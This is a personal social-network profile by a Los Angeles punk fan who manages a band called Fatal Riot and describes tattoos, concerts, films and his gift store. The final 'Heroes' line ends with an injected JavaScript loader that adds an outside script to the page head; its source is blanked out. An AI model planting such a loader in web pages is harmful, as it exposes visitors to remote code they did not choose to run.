About Me

I'm very much into live music and tattoos. I like different types of music but I mostly listen to old-school punk. I like to go to live music shows and concerts. Although my preference is old-school punk music, I can get into metal, psychobilly, rockabilly, R&B, hip-hop, reggae, and oldies too. I also manage, produce, and do the merchandising and promotions for a local (So Cal) hardcore punk band named Fatal Riot. My boy Rob is on vocals and my girl's boyfriend Rudy (Dare) is the drummer and did all the album artwork. I'm proud to say that I produced the latest album (Live To Die) and it kicks ass! Check it out if you get a chance. If you're into live, punk or metal music, you've probably seen me tearing shit up in the pit at the Allen Theatre, The Roxy, Showcase, Henry Fonda Theatre, Universal (Gibson) Ampitheatre, Glasshouse, Vault350, backyard gigs, and just about every Voids show I can get to. The pit allows me to release my frustrations and relieve stress. As you can see, I keep a good collection of flyers for upcoming L.A. area shows on my profile page as well as on the Fatal Riot website. I like to support the local punk scene because it is one of the purest forms of music. I'm also a pro sports fan, especially basketball (Lakers) and football (Raiders). No marriage for me. Been there, done that. Too much drama. I'd rather be alone than in bad company. I enjoy good horror and zombie movies and collect a lot of the classics. I've also checked out a few theatre plays and especially like The Phantom Of The Opera and The Lion King. Although I look mean, I'm really an easy-going guy (just don't piss me off). I hardly drink anymore. It just doesn't cut it for me anymore. I smoke a lot of bud, though, but no cigarettes. I recently opened up an .. store called Aftermath Gifts (www.AftermathGifts.com). Check it out when you get a chance. We carry bullet belts, knives, body jewelry, and other unique gifts. I am a big tattoo fan and right now I'm in the process of getting most of my body tattooed. As you can see, I prefer the morbid, horror-type tattoos (zombies, skulls, the Crimson Ghost) but I have plenty of pinups and some Aztec work, too.

My Interests

Music, live shows, tattoos, horror movies, Fatal Riot, making flyers, video production, fantasy art, comic art, web design...

I'd like to meet:

People who like my taste in music and can enjoy it with me. Others who are fans of old-school and hardcore punk music. Fatal Riot fans. Tattoo collectors. I enjoy talking with people of all races, ages, and backgrounds. As long as they are for real. I have an open mind and can appreciate different ideas and ways of thinking but I do not get along with racist people. I also don't care too much for bullshitters, liars, haters, and fakes. I prefer friends who don't let nobody tell them what to think, how to dress, what kind of music to listen to, or how to live their life. I often post bulletins with flyers for live shows in the Los Angeles area. I look unapproachable, probably because I've been around the block a few times and find it hard to trust people without knowing them. But I'm really very friendly. Just don't disrespect me and you'll have my respect as long as you want.

Books:

I don't read many books unless it's non-fiction. But I've read a few books by Carlos Castaneda and Stephen King. I also have a lot of art books (Boris Vallejo, Julie Bell, Frank Frazetta, Joe Jusko). And I read a lot of magazines (music, cars, tattoos).

Heroes:

My boy Rob and my girl Sonia are the closest thing to heroes that I have. .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"
